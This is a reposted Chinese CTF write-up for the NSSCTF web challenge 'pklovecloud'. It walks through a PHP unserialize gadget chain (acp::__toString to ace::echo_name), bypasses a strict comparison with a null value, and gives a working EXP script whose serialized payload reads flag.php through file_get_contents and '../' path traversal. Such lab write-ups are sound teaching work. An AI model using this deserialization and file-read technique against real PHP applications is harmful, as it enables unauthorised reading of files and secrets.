自学内容网 自学内容网

NSSCTF-WEB-pklovecloud

目录

前言

正文

思路

尝试

结尾


前言

许久未见,甚是想念.

今天来解一道有意思的序列化题


正文

思路

<?php
include 'flag.php';
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}
else
{
    highlight_file(__file__);
}

序列化,首要的肯定是找哪里可以执行指令或者查看flag

首先我们一开始就看见了这个

include 'flag.php';

当然光看这个没有什么意义

除此之外

function echo_name()
    {
        $this->openstack = unserialize($this->docker);//这里做了一次反序列化
        $this->openstack->neutron = $heat;//$heat应该是flag.php的东西
        if($this->openstack->neutron === $this->openstack->nova)
            //===,数组绕过?
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

这样,我们就明白了,所以$filename=flag.php;

想要执行echo_name,需要看看哪里可以调用

class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new pkshow;
    }
    function __toString()
    {
        if (isset($this->cinder))
            return $this->cinder->echo_name();//就是这里了
    }
}

但是,echo_name不止一处

class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}

我们需要调用__toString魔术方法

__toString()会在类被当作字符串调用的时候自动触发,比如说echo一个类

所以我们还需要查看哪里可以调用__toString

if (isset($_GET['pks']))
{
    $logData = unserialize($_GET['pks']);
    echo $logData;
}

我们可以先生成一个序列化,从而成功执行并调用toString()

这个时候,我们可以初步构造一个,然后慢慢修改,因为当题量大的时候,我们很难一次性就理清所有思路然后成功拿到flag

那就先随便写一个

<?php
class pkshow
{
    function echo_name()
    {
        return "Pk very safe^.^";
    }
}
class acp{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct(){
        $this->cinder=new pkshow;
    }

}

class ace//这里原封不动抄下来,因为如果成功调用ace,也会因为ace的过滤回显keystone lost~
{
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }
}

$a=new acp();
echo urlencode(serialize($a));

原因是因为__construct事先定义了new pkshow,所以接下来我们需要进行修改

 function __construct()
    {
        $this->cinder = new ace;
    }

这个应该不难理解,当cinder修改为new ace,下面的toString就将ace实例化为字符串进行调用,又由于ace内部的过滤,所以成功输出了keystone lost~

好的,这是第一步,我们成功使toString执行aceecho_name,接下来就需要修改ace内部函数获取flag

首先,从开头我们就知道,$filename=flag.php;然后我们来看看ehco_name写了什么

 function echo_name()
    {
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
            $file = "./{$this->filename}";
            if (file_get_contents($file))
            {
                return file_get_contents($file);
            }
            else
            {
                return "keystone lost~";
            }
        }
    }

关键还是这里的强比较,由此联想数组绕过

关于数组绕过,可以详细看这位师傅的文章

浅谈CTF中各种花式绕过的小trick_ctf 字符串绕过-CSDN博客

对于这种没有丝毫过滤,且具有一点条件的玩法(docker被反序列化),直接定义一个null即可实现相等

一般来说,我们使用a[]=1&b[]=2来绕过,这样实际上a=null,b=null.因为a[]b[]实际是一个空数组

这里的话,我们直接让docker=null即可,这样因为 $this->openstack->neutron就会让neutron=null

那么,接下来


尝试

EXP:

<?php
class acp{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct(){
        $this->cinder=new ace;
    }

}

class ace
{
    public $filename='flag.php';
    public $openstack;
    public $docker=null;
}


$a=new acp();
echo urlencode(serialize($a));

由于本人比较喜欢极简,所以删除了不必要的代码

好的,我们继续

不在当前目录下

../以后成功拿到flag

成功


结尾

我也没想到在七月开头的第二天,就已经实现了1w访问量的成就

这对于一位小白代学生来说,是一件值得自豪的事情

也希望未来能够带来更高质量的文章

最后,求赞求关注

感谢!!!!!!!!!!!!!!!!!!!!


作者的其他文章

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

BugKu-WEB-unserialize-Noteasy_bugku unserialize-noteasy-CSDN博客


原文地址:https://blog.csdn.net/m0_52061428/article/details/142876554

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!